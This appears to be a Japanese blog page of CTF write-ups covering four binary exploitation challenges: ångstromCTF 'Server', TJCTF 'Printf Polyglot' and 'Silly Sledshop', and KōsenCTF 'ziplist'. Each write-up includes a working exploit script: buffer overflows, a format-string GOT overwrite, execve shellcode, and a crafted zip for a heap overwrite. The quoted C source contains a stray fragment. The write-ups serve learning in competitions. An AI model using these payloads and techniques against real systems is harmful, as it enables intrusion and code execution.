ハッカーズ魔導書

コンピューターを愛するヲタクのメモ帳

ångstromCTF 2019 -「Server (180pts)」之解き方

問題記載

Server - 180 points

Check out my new website, powered by my own custom web server!

ご丁寧に、ウェブサイトのリンクとELFバイナリが渡されます。こちらはウェブサイトのホームページです。

f:id:d3npa:20190426073316p:plain

解析

objdumpでディスアセンブルしてみたら、libcの無さでアセンブリ言語で作られたプログラムだとわかることができます。

syscallでreadを呼び出すことで、最初に4バイトを呼んで0x402010に保存し、

401086:  48 31 c0                xor    rax,rax
401089: 48 be 10 20 40 00 00    movabs rsi,0x402010
401090: 00 00 00
401093: ba 04 00 00 00          mov    edx,0x4
401098: 0f 05                   syscall

それから0x402010を再び利用して(rsiを変更しない)、0x20(スペース文字)が来るまで入力サイズに気にせず読み込み続けるのです。これでバッファーオーバーフローが使えることがわかります。

40109a:  48 ff ce                dec    rsi
40109d: 48 ff c6                inc    rsi
4010a0: 48 31 c0                xor    rax,rax
4010a3: 48 31 d2                xor    rdx,rdx
4010a6: 48 ff c2                inc    rdx
4010a9: 0f 05                   syscall
4010ab: 80 3e 20                cmp    BYTE PTR [rsi],0x20
4010ae: 74 02                   je     0x4010b2
4010b0: eb eb                   jmp    0x40109d

そしてまた0x800バイトを読み込み、今度0x4028b1に保存する。

4010b5:  48 be b1 28 40 00 00    movabs rsi,0x4028b1
4010bc: 00 00 00
4010bf: ba 00 08 00 00          mov    edx,0x800
4010c4: 0f 05                   syscall

HTTPリクエストだと言ったら、最初の4バイトがおそらく"GET "であるべきだったはずで(本当にGETなのかちゃんと確認していないけど)、次のスペースまでのバイトがURLということでしょう。でしたら、その後のデータがHTTPヘッダーとペイロードになる。またここもバッファーオーバーフローが可能でしょうね。

コードを読み続きましょう

401135:  48 8b 3c 25 10 28 40    mov    rdi,QWORD PTR ds:0x402810
40113c: 00
40113d: b8 01 00 00 00          mov    eax,0x1
401142: 48 be 20 28 40 00 00    movabs rsi,0x402820
401149: 00 00 00
40114c: 48 8b 14 25 18 28 40    mov    rdx,QWORD PTR ds:0x402818
401153: 00
401154: 0f 05                   syscall

メモリから様々なデータを読み込みレジスタに移動していますね。0x402810から出力バッファー(0/STDOUT)を読み込んで、0x402820が表示される文字列ポインタで、0x402818が文字列のサイズのようです(サイズもwriteに渡されます)。レジスタを用意してからsyscall 1 (write)で文字列をSTDOUTに出力します。writeの後、出した文字数がraxレジスタに保存されるので注意して下さい。

そして最後に、ジャジャン!!

401156:  48 29 d0                sub    rax,rdx
401159: 48 83 c0 03             add    rax,0x3
40115d: 48 31 d2                xor    rdx,rdx
401160: 0f 05                   syscall

raxrdxを引き、さらに0x3を足し、rdxをヌル化してsyscallを実行します。

作戦

raxrdxを奪えられば、任意syscallを実行することが出来ます。目的は当然、RCE(遠隔命令実行)です。この「検索可能 Linux Syscall 目録」によると、evecveが第59シスコールであり、引数は、実行ファイルの名前(rdi)にargv (rsi)とenvp (rdx)です。

f:id:d3npa:20190426073335p:plain

普通の事情にメモリの構造がこのようになっています:

+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402010 |   00 00 00 00 00 00 00 00   | URLバッファー
| ...      |   ...                       |
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402810 |   00 00 00 00 00 00 00 00   | 出力バッファー
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402018 |   58 00 00 00 00 00 00 00   | writeサイズ
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402020 |   w  e  l  c  o  m  e       | メッセージ
| 0x402028 |   t  o     m  y     w  e    |
| 0x402030 |   b     s  e  r  v  e  r    |
| 0x402038 |   !  a  s     y  o  u       |
| ...      |   ...                       |
+----------+--+--+--+--+--+--+--+--+--+--+

せっかくexecveを呼び出せるからシェルをスポーンしようかと思いましたが、ファイル記述子の問題でサーバ側で出てたんだ(STDOUTがサーバ側のプロセスなので)!だから他のオプションを考えたら、ncatでリバース・シェルとかも出来そうですが、面倒くさいから自分でサーバを立てるよりCTFのシェル・サーバにログインして/tmpディレクトリ以下にスクリプトを置いて、単にそれを実行することにしました。

#!/bin/bash

echo "フラグでしゅにゃん!(=^・・^=)"
cat flag.txt > /tmp/nekochannano/server.flag.txt
echo ""

そしてファイル属性を正しく設定しなきゃいけないので

$ cd /tmp/nekochannano
$ touch server.flag.txt
$ chmod 0666 server.flag.txt

その計画はうまく行けばいいんだが、そもそもどうやってrax0x3bにするのですか?raxを計算する命令をよく見たら、出力したバイト数から文字列のサイズを引くので、その結果は必ず0になるはずなのでは??ーーーーーーないです!どうやってrax0x3bにするのかっていうと、整数オーバーフローを行う。説明します。

もし、rdx(出力サイズ)に極めて大きい値、例えば0xffffffffffffffffを書き込めば、本当に0xffffffffffffffffバイトを出力すると思いましたか?そんなわけないでしょう!スタック領域全てが出されても、このようなプロセスなら4KB超えないでしょう。とにかくそうして、rdxと実際に出力されたバイト数が異なるようになり、計算の結果が変わってしまいます。

数学が下手なので色んな値で試してみましたが(笑)、結局0xffffffffffffffbfにすれば、sub rax, rdxraxから引けば0x39になって、またadd rax,0x3で、目的の0x3b(59)になります。

てなわけでバッファーオーバーフローを行って、スタックを次の表のようにするという作戦です。

+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402010 |   00 00 00 00 00 00 00 00   | 'a' (804字)
| ...      |   ...                       |
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402810 |   28 28 40 00 00 00 00 00   | 実行ファイル名のポインタ
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402018 |   bf ff ff ff ff ff ff ff   | rdxに保存されて、raxから引かれる値
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402020 |   00 00 00 00 00 00 00 00   | rsiに保存されるargv(ヌル)
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402028 |   /  t  m  p  /  n  e  k    | 実行するファイル
| 0x402030 |   o  c  h  a  n  n  a  n    | /tmp/nekochannano/nyan.sh
| 0x402038 |   o  /  n  y  a  n  .  s    |
| 0x402040 |   h  00                     |
| ...      |   ...                       |
+----------+--+--+--+--+--+--+--+--+--+--+

さあハッキング・タイム!!

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

def payload():
    # HTTP リクエストを生成する
    output = ""
    output += "a" * 0x804                        # 0x40200c~0x402810までaを書き込む
    output += "\x28\x28\x40\x00\x00\x00\x00\x00" # 0x402810 $rdi 出力バッファー
    output += "\xbf\xff\xff\xff\xff\xff\xff\xff" # 0x402818 $rdx 出力サイズ
    output += "\x00\x00\x00\x00\x00\x00\x00\x00" # 0x402820 $rsi argv
    output += "/tmp/nekochannano/nyan.sh\x00"    # 0x402828 実行されるファイル
    output += " "
    return output

print payload()

さて、作戦開始!

f:id:d3npa:20190426073347p:plain

以上、ångstromCTF 2019 之「Server」の解き方でした。最後まで読んでくれて、ありがとうございました!

TJCTF 之「Printf Polyglot (120pts)」の解き方

はじめに

2019年4月の4日〜8日、NekoChanNano!というCTFチームでTJCTFに参加しました。解けた問題の中、Pwn系の問題「Printf Polyglot」があり、今回この問題の解き方を解説していきたいと思います。

概要

こちらは問題記載:

Printf Polyglot - 120 points

Written by nthistle

Security Consultants Inc. just developed a new portal! We managed to get a hold of the source code, and it doesn't look like their developers know what they're doing.

nc p1.tjctf.org 8003

ご丁寧にELFバイナリとソースコードが与えられます。ではとりあえずバイナリを実行してみましょう。

$ ./printf_polyglot
Welcome to the brand new Security Consultants Inc. portal!
What would you like to do?
1.) View the Team!
2.) Check the date.
3.) Sign up for our newsletter!
4.) Report a bug.
x.) Exit.

またメニュー系なインターフェースですね。自分は普段、プログラムの動作を把握するには、直接にいじるよりコードを読むのが楽なので、そのソースコードを読んでから行こうと思います!

解析

コードが長かったため全部を貼りはしないけど、main関数を見れば各メニューオプションそれぞれの関数があることがわかります。

int main() {
   gid_t gid = getegid();
   setresgid(gid, gid, gid);
   setbuf(stdout, NULL);

   printf("Welcome to the brand new Security Consultants Inc. portal!\n");
   char action = 0;
   char line[128];
   while (action != 'x') {
      printf("What would you like to do?\n");
      printf("1.) View the Team!\n");
      printf("2.) Check the date.\n");
      printf("3.) Sign up for our newsletter!\n");
      printf("4.) Report a bug.\n");
      printf("x.) Exit.\n");
      fgets(line, sizeof line, stdin);
      action = line[0];
      if (action == '1') {
         view_team();
      } else if (action == '2') {
         check_date();
      } else if (action == '3') {
         newsletter();
      } else if (action == '4') {
         report_bug();
      } else if (action != 'x') {
         printf("Sorry, I didn't recognize that.\n");
      }code redirectio
      printf("\n");
   }
}

他の関数を見たら、気になったのがcheck_dateとnewsletterだけでした。

bool date_enabled = false;
[...]
// apparently calling system() isn't safe? I disabled it so we
// should be fine now.
void check_date() {
   printf("Here's the current date:\n");
   if (date_enabled) {
      system("/bin/date");
   } else {
      printf("Sorry, date has been temporarily disabled by admin!\n");
   }
}

こうやって変数を使って、systemを呼び出さないようにしたようですが、system関数がコードに入ってるだけでPLTに含まれますので、もしある脆弱性によってRIPレジスタを奪えられれば、systemの位置が既にわかります(PIEが有効な場合を除く)。攻撃者にとってはそれがすごく助かります。

void newsletter() {
   printf("Thanks for signing up for our newsletter!\n");
   printf("Please enter your email address below:\n");

   char email[256];
   fgets(email, sizeof email, stdin);
   printf("I have your email as:\n");
   printf(email);
   printf("Is this correct? [Y/n] ");
   char confirm[128];
   fgets(confirm, sizeof confirm, stdin);
   if (confirm[0] == 'Y' || confirm[0] == 'y' || confirm[0] == '\n') {
      printf("Great! I have your information down as:\n");
      printf("Name: Evan Shi\n");
      printf("Email: ");
      printf(email);
   } else {
      printf("Oops! Please enter it again for us.\n");
   }

   int segfault = *(int*)0;
   // TODO: finish this method, for now just segfault,
   // we don't want anybody to abuse this
}

あれれ?気のせい??

printf(email);

こう、ユーザーの入力したデータをそのままformat stringを使わずにprintfに渡すと、いわゆるFormat String Bug(FSB)という脆弱性が生まれます。FSBを使えば、例えば任意読み込みや任意書き込みができます。

作戦

FSBを使って、ある関数のGOTポインターを上書きし、systemのPLTアドレスに変えましょう。 fgetsの後に呼び出されるので、そして入力したemail変数がそのままわたされますので、printfが最適な候補だと思います。

printf(email);がこう、二回呼び出されますが、もし一回目はFSBを行えば、二回目はもうprintfではなく、system(email)になりますのでご注意ください。そのため、email変数が同時にformat stringでもあり、シェルコマンドでもある必要があります。

エクスプロイト

#!/usr/bin/python2
# -*- coding: utf-8 -*-
import struct

# 作戦:FSBを使ってprintfのGOT要素(0x602048)に、systemのPLTアドレス(0x4006e0)を書き込む。
# 次にprintfが呼び出される際、system関数が代わりに実行されてしまう。

def payload():
    padding = "a" * 100
    command = "/bin/sh #" # 直後のスタックデータが含まれちゃうから「#」でコメント化
    # 説明:メニュー選択がスタック変数のactionに保存される。
    # そこにアドレスを入れたら、FSBを起こせるときに利用できます。
    selection = "3       "
    selection += struct.pack("<Q", 0x00602048) # スタック第63引数。
    selection += struct.pack("<Q", 0x0060204a) # スタック第64引数。
    # 説明:出力済文字数が0x40になるまでスペースを%cで出力して、
    # 第64引数(0x60204a)に0x40を書き込む。そのあと、また%cでバイトを出力、
    # 第63引数(0x602048)に0x06e0を書き込む。そうしたらprintfのGOT要素が0x4006e0になり、
    # ジャンプすればsystemのPLTアドレスに移動しちゃいます。
    format_string = command + "%55c%64$n%1696c%63$hn" + padding
    format_string = format_string[:100]
    return selection + "\n" + format_string + "\ny\n"

print(payload())

さあ、作戦開始! f:id:d3npa:20190412051022p:plain

以上Printf Polyglotの解答方法でした。

TJCTF 之「Silly Sledshop (80pts)」の解き方

はじめに

2019年4月の4日〜8日、TJCTFにNekoChanNano!というCTFチームで参加しました。自分はまだ初心者であり、レベルがかなり高かったと思います。良い勉強になりましたので、今回はPwn系の問題「Silly Sledshop」の解き方を解説していきたいと思います。

概要

こちらはチャレンジ記載:

Silly Sledshop - 80 Points
Written by evanyeyeye

Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful.
Lesson: nothing stops Omkar.
He will go sledding whenever and wherever he wants.

nc p1.tjctf.org 8010

その上、32ビットのELFバイナリとそのソースコードを手に入れます。

解析

まずはELFファイルを実行してみましょう。

$ ./sledshop
The following products are available:
|  Saucer  | $1 |
| Kicksled | $2 |
| Airboard | $3 |
| Toboggan | $4 |
Which product would you like?

メニューが表示され、入力を待っているようです。そして指示すると、

[...]
Which product would you like?
1
Sorry, we don't currently have the product 1 in stock. Try again later!
$ #品切れだったら先に言ってよ!ヾ(。>﹏<。)ノ゙

さあ次に、ソースコードを確認しよう〜

#include <stdio.h>
#include <stdlib.h>

void shop_setup() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setbuf(stdout, NULL);
}

void shop_list() {
    printf("The following products are available:\n");
    printf("|  Saucer  | $1 |\n");
    printf("| Kicksled | $2 |\n");
    printf("| Airboard | $3 |\n");
    printf("| Toboggan | $4 |\n");
}

void shop_order() {
    int canary = 0;
    char product_name[64];

    printf("Which product would you like?\n");
    gets(product_name);

    if (canary)
        printf("Sorry, we are closed.\n");
    else      
        printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name);
}

int main(int argc, char **argv) {
    shop_setup();
    shop_list();
    shop_order();
    return 0;
}

興味あるのはshop_order関数ですね。中には、getsでstdinを読み込み、入力データのサイズを確認せずに64バイトのバッファーproduct_nameに書き込みます。単純なバッファーオーバーフローが使えるように見えますが、実行ファイルのセキュリティ機構を確認すれば:

$ checksec ./sledshop
[*] '<省略>/sledshop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
$

何だ、いけるじゃん。ただし、チャレンジサーバーではASLRが有効なので、スタックにシェルコードを置いても、アドレスがランダム化されるため、そこにリターン出来ません。そこで、長く長く長く流れるNOPスレッドを使えば行けるかもしれないけど、リモートサーバーですし時間かかりそうだから面倒くさい。シェルコードを一回で実行する方法を考えたほうがいいので、さあ楽しいシンキングタイムだぜ!

作戦

スタックトークンがないから普通のスタックオーバーフローで任意アドレスへ移動することが出来ます。ASLRが有効になるため、スタック内アドレスに簡単に戻れませんが、テキスト領域かGOT領域ならアドレスが固定なので使えます。

あと、Full RELROがないので、GOT領域が書込可能。問題はどうやって書き込むのかですね。ただのスタックオーバーフローだけだとスタック以外のメモリを書き込むことが出来ません。ディスアセンブリを読みながら任意アドレスを書き込む方法がわかりました。

80485dc: 8d 45 b4                lea    eax,[ebp-0x4c]
80485df:    50                      push   eax
80485e0:    e8 eb fd ff ff          call   80483d0 <gets@plt>

これでございます。EBPから0x4cバイトを引いて読み込み先にし、gets関数を呼び出すとするアセンブリ命令。素敵じゃないですか!EBPレジスターを設定できれば、指定したアドレスの位置から0x4cを引いて、結果のアドレスに書き込みます。これを使えば、例えばprintf関数のGOTポインターに0x4cを足し、スタックのリターンポインターの前に置いて、このアセンブリ命令の冒頭に移動してprintfのGOTポインターを書き込んでしまう。とっても素敵!

エクスプロイト

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import struct, os
# 作戦:printf関数のGOTポインターを書き換えることで、実行可能であるGOT領域に置いたシェルコードを実行する。
# GOTポインターを書き換えるには、ebxを設定し、バッファーオーバーフローでshop_order関数の真ん中に戻り、
# getsによりprintfのポインターを4バイト後の0x804a014に変えて、直後にシェルコードを同時期に置いておく。
# getsからshop_orderに戻ったらprintfが自然に呼び出されて、シェルコードを実行してしまう。

def payload():
    junk = "a"*76
    alphabet = "".join([x*4 for x in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"])
    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    gadget_gets = struct.pack('<I', 0x080485dc)    # gets() -> [ebp-0x4c]
    got_printf = struct.pack('<I', 0x804a010+0x4c) # printf()のGOTポインター。0x4cはアセンブリ命令に引かれます
    after_printf = struct.pack('<I', 0x804a014)    # printf()の直後ではあるが、偶然でgets()のGOTポインターでもある
    return junk + got_printf + gadget_gets + "\n" + after_printf + shellcode

print(payload())

そして実行: f:id:d3npa:20190410030349p:plain

以上Silly Sledshopの解答方法でした。

KōsenCTF 之「ziplist (350pts)」の解き方

はじめに

2019年の一月に、CTFチームの「NekoChanNano!」のメンバーとして#InterKosenCTF に参加させていただきました。今回は、経験少ないの私にとってかなり難しかった「ziplist」という問題(Pwn系、350点) の解き方を紹介していきたいと思います。

概要

チャレンジ・ページからソースコードをダウンロードすることが出来ます。手に入れる.tar.gzアーカイブファイルを解凍すれば、下記の二つのディレクトリが作られます。

./server、以下にflaskアプリケーションのソースコードx86_64 ELFバイナリがあります。 ./src、以下にx86_64 ELFバイナリのソースコードC言語)が置いてあります。

flaskサーバーを起動し、localhost:9300/ をアクセスしてみましょう。

f:id:d3npa:20190323085125p:plain

zipファイルをアップロード出来るようですね。バックエンドのソースコードを確認しましょう。

@app.route('/', methods=['GET', 'POST'])
def home():
    result = ''
    if 'upload' in request.files:
        zipfile = request.files['upload']
        filename = zipfile.filename
        if filename != '':
            upload_filename = "/tmp/uploads/" + ''.join(
                [random.choice(string.ascii_letters) for i in range(16)]
            ) + ".zip"
            zipfile.save(upload_filename)
            result = commands.getoutput("timeout -sKILL 1s ./ziplist " + upload_filename)
            try:
                os.remove(upload_filename)
            except OSError:
                pass
    result = base64.b64encode(result)
    return render_template('index.html', result=result)

ご覧通り、与えられるファイル にランダムの名前が付けられて保存され、次に実行されるELFプログラムに引数として渡されます。 さて、ELFのソースコードの解析を始めましょう!

ELFの解析

src/main.cのmain関数に脆弱性があります。ローカル変数のchar comment[64]がzip.cのzip_check_header()関数に渡され、zipのコメントのサイズに限らず書き込まれます。

char comment[64];
  
//...

// Check the zip structure
if (zip_check_header(fp, &footer, comment)) {
    puts("Invalid zip format.");
    return 1;
}

ですが、stack smashing protectionというセキュリティ機構が有効になっているため、スタック・フレームをそんな簡単に上書き出来ません。

f:id:d3npa:20190323085200p:plain

セキュリティ機構について、詳しくはこちらのページをご確認ください。

CTFの時、この機構を迂回する方法があるのがまだ知らなく、自分で気付けるまで数時間かかりましたが、実は__stack_chk_fail関数のGOTポインターを上書きできるのです。そうすれば、main関数の終わりに書き込んだアドレスにジャンプするし、main関数内のRSP以降のスタック領域を好きに使えるようになります。

src/zip.cのzip_get_entries関数にもう一つの脆弱性があります。zipのfooterを読み込む前にmallocによってヒープ領域を確保します:

// Initialize
*entry = (CentralDirectoryFileHeader**)malloc(sizeof(CentralDirectoryFileHeader*) * footer->total_entries);
for(i = 0; i < footer->total_entries; i++) {
    (*entry)[i] = (CentralDirectoryFileHeader*)malloc(sizeof(CentralDirectoryFileHeader) - sizeof(char*));
    (*entry)[i]->filename = (char*)malloc(64);
}

モリーを確保した後だけに、ZIPの中身のファイルの情報を取得して書き込むのです。

// Read all entries
for(i = 0; i < footer->total_entries; i++) {
    fread((*entry)[i], sizeof(CentralDirectoryFileHeader) - sizeof(char*), 1, fp);
    // Check signature
    if ((*entry)[i]->signature != MAGIC_CENTRAL_DIRECTORY_FILE_HEADER) {
        return 1;
    }
    // Read filename
    fread((*entry)[i]->filename, 1, (*entry)[i]->length_filename, fp);
    fseek(fp, (*entry)[i]->length_extra + (*entry)[i]->length_comment, SEEK_CUR);
}

そして上記に使用される CentralDirectoryFileHeader はこちらです:

typedef struct __attribute__((packed)) {
  uint32_t signature;
  uint16_t version;
  uint16_t version_needed;
  uint16_t flags;
  uint16_t compression_method;
  uint16_t modification_time;
  uint16_t modification_date;
  uint32_t crc32;
  uint32_t compressed_size;
  uint32_t uncompressed_size;
  uint16_t length_filename;
  uint16_t length_extra;
  uint16_t length_comment;
  uint16_t disk_start;
  uint16_t internal_attr;
  uint32_t external_attr;
  uint32_t header_offset;
  char *filename;
} CentralDirectoryFileHeader;

zipの中身にあるファイル数が2つ以上である場合、ヒープ領域がこういう形になるでしょう:

----------------------------------                 
[ Heap Frame ]                                   ---+
[ CentralDirectoryFileHeader (48 bytes) ]           |
// Including char *filename (8 bytes) at the end    |
[ Heap Frame ]                                      +-- 1ファイル目
----------------------------------                  |
[ Heap Frame ]                                      |
[ File Name (64 bytes) ]                            |
[ Heap Frame ]                                   ---+
----------------------------------                  
[ Heap Frame ]                                   ---+
[ CentralDirectoryFileHeader (48 bytes) ]           |
// Including char *filename (8 bytes) at the end    |
[ Heap Frame ]                                      +-- 2ファイル目
----------------------------------                  |
[ Heap Frame ]                                      |
[ File Name (64 bytes) ]                            |
[ Heap Frame ]                                   ---+
----------------------------------

...

というわけで、第一ファイルの名前が64バイト以上であれば、その名前を保存するだめのメモリ範囲を超えてしまい、次のファイルの情報にオーバーフローします。もしその影響で次の CentralFileDirectoryHeader 仕組みの char *filename が上書きされるとなれば、次のファイル情報を書き込む際、新しいポインターを使用してしまい、任意書き込み脆弱性になります。

いざエクスプロイト!

#!/bin/sh
rm -rf work/
mkdir work/
cd work/

# ASLRが有効されてるため、実行する際に標準関数system()のアドレスが毎度変わってしまうため狙えません。
# PWN_BINSH1="`python2 -c 'print "b"*126 + "\x20\x20\x60\xaa\xaa\xaa\xaa\xaa"+"c"*90+"cat \xbbhome\xbbpwn\xbbflag\xaa"'`" # freadのポインターを上書き
# PWN_BINSH2="`python2 -c 'print "\x80\x73\xe2\xf7\xff\x7f\xaa\xaa"'`" # system関数のアドレス

# 0x602030に存在するstack protectorポインターを再宣伝して、JOP gadgetに移動する。それからgadgetによって 0x400c8f にあるデータをRDIにコピーします。
PWN_STACKPROTECTOR1="`python2 -c 'print "a"*126 + "\x30\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # stack protector @ GOT
PWN_STACKPROTECTOR2="`python2 -c 'print "\x8f\x0c\x40\xaa\xaa\xaa\xaa\xaa"'`" # readfile()に存在する pop RDI -> pop ESI -> call perror

# perrorのGOTポインターを再宣言して、readfileの先頭アドレスへジャンプする。
PWN_PERROR_TO_READFILE1="`python2 -c 'print "b"*126 + "\x68\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # perror@GOT
PWN_PERROR_TO_READFILE2="`python2 -c 'print "\x53\x0c\x40\xaa\xaa\xaa\xaa\xaa"'`" # readfileの先頭アドレス

# readfile関数に渡す第一引数「data」をGOT領域に保存して置く。
PWN_STRING_AFTER_EXIT1="`python2 -c 'print "c"*126 + "\x78\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # exit@GOTの後
PWN_STRING_AFTER_EXIT2="`python2 -c 'print "\xbbhome\xbbpwn\xbbflag"'`" # readfileの第一引数

echo 'neko' > "$PWN_STACKPROTECTOR1"
echo 'chan' > "$PWN_STACKPROTECTOR2"
echo 'neko' > "$PWN_STRING_AFTER_EXIT1"
echo 'chan' > "$PWN_STRING_AFTER_EXIT2"
echo 'neko' > "$PWN_PERROR_TO_READFILE1"
echo 'chan' > "$PWN_PERROR_TO_READFILE2"
echo 'nekochannano' > nekochannano

# main関数のローカル変数 char *comment[64] に書き込まれるZIPコメントにGOT領域に保存して置いた文字列のポインターを入れて置きます。
python2 -c 'print "難し過ぎるわ" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"*2 + "AB\x78\x20\x60\xaa\xaa\xaa\xaa\xaaA"' | zip -z winners.zip \
"$PWN_STACKPROTECTOR1" \
"$PWN_STACKPROTECTOR2" \
"$PWN_PERROR_TO_READFILE1" \
"$PWN_PERROR_TO_READFILE2" \
"$PWN_STRING_AFTER_EXIT1" \
"$PWN_STRING_AFTER_EXIT2" \
nekochannano \<200c>

# sedでzipコマンドで使えないヌール文字を変換します。
sed -i -s 's/\xaa/\x00/g' winners.zip
sed -i -s 's/\xbb/\//g' winners.zip

結果

最後に、生成したzipアーカイブをウェブサーバーにアップロードすると、、!

f:id:d3npa:20190323085229p:plain

f:id:d3npa:20190323085244p:plain

以上 #InterKosenCTF の Pwn問題「ziplist」の解答方法でした。